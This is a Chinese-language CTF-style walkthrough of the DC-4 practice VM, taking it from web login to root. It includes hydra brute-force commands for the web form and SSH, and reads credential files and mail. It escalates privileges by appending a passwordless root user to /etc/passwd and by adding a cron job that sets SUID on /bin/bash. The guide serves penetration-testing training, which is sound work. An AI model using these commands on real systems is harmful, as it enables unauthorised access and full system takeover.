DC-4靶机渗透实战:从Web到Root的完整路径 1. DC-4靶机渗透实战概述DC-4是专为网络安全学习者设计的渗透测试靶机属于Damn Vulnerable系列靶机的第四代作品。这个靶机模拟了企业环境中常见的Web应用和Linux系统配置漏洞非常适合CTF选手和渗透测试初学者进行实战演练。通过完整的渗透流程我们可以掌握从信息收集到权限提升的全套实战技能。2. 环境准备与信息收集2.1 靶机环境搭建首先需要将DC-4靶机导入虚拟机环境VMware或VirtualBox均可。靶机下载地址为http://www.five86.com/dc-4.html。导入后建议将网络设置为NAT模式确保攻击机Kali Linux和靶机在同一网段。注意实际IP地址可能因网络环境而异建议使用nmap扫描确认靶机IP2.2 初始信息收集使用nmap进行基础扫描是渗透测试的第一步nmap -sV -A 192.168.1.100 -oN dc4_scan.txt扫描结果通常会显示两个开放端口22/tcpOpenSSH服务80/tcpnginx Web服务3. Web应用渗透测试3.1 登录页面分析访问80端口会看到一个系统工具登录页面。通过查看页面源代码和尝试常见注入payload可以发现没有明显的SQL注入漏洞没有XSS漏洞登录表单使用POST方法提交到login.php3.2 密码爆破实战使用hydra进行密码爆破hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form /login.php:username^USER^password^PASS^:Slogout -vV -t 20爆破成功后通常会得到admin:password这样的凭证组合。登录后台会发现一个命令执行界面。4. 系统权限提升路径4.1 横向移动技巧在Web后台执行命令查看系统用户ls -la /home/通常会发现三个用户charles、jim和sam。检查jim用户目录会发现关键文件cat /home/jim/backups/old-passwords.bak这个密码字典可用于SSH爆破。4.2 SSH爆破与访问使用获得的密码字典爆破SSHhydra -L users.txt -P jim_passwords.txt ssh://192.168.1.100 -t 6 -vV成功登录jim账户后检查邮件获取更多凭证cat /var/mail/jim邮件中通常会包含charles用户的密码。5. 特权提升与root获取5.1 sudo权限分析切换到charles用户后检查sudo权限sudo -l通常会发现charles可以无密码以root身份执行teehee命令。5.2 teehee提权技术teehee是GNU coreutils中的tee命令变种可以用来修改系统关键文件。提权方法有两种直接添加root权限用户echo hacker::0:0::/root:/bin/bash | sudo teehee -a /etc/passwd通过crontab提权echo * * * * * root chmod 4777 /bin/bash | sudo teehee -a /etc/crontab等待一分钟后/bin/bash将获得SUID权限普通用户执行即可获得root shell。6. 渗透测试经验总结6.1 关键学习要点密码复用风险Web密码可能被用于SSH登录信息泄露危害邮件、备份文件常包含敏感信息sudo配置不当特定命令的sudo权限可能导致系统沦陷6.2 防御建议使用强密码策略定期清理备份文件和邮件严格控制sudo权限及时更新系统和软件7. 常见问题排查7.1 hydra爆破失败可能原因网络连接问题目标服务限制连接频率密码字典不匹配解决方案添加-t参数降低线程数使用-w参数增加超时时间尝试其他密码字典7.2 teehee提权失败可能原因/etc/passwd文件权限配置正确selinux等安全机制阻止修改解决方案尝试其他提权方法检查系统安全配置寻找其他SUID程序通过完整的DC-4靶机渗透实战我们可以系统性地掌握从外网渗透到内网横向移动最终获取系统最高权限的全套技术栈。这种实战训练对于培养渗透测试思维和技能非常有帮助。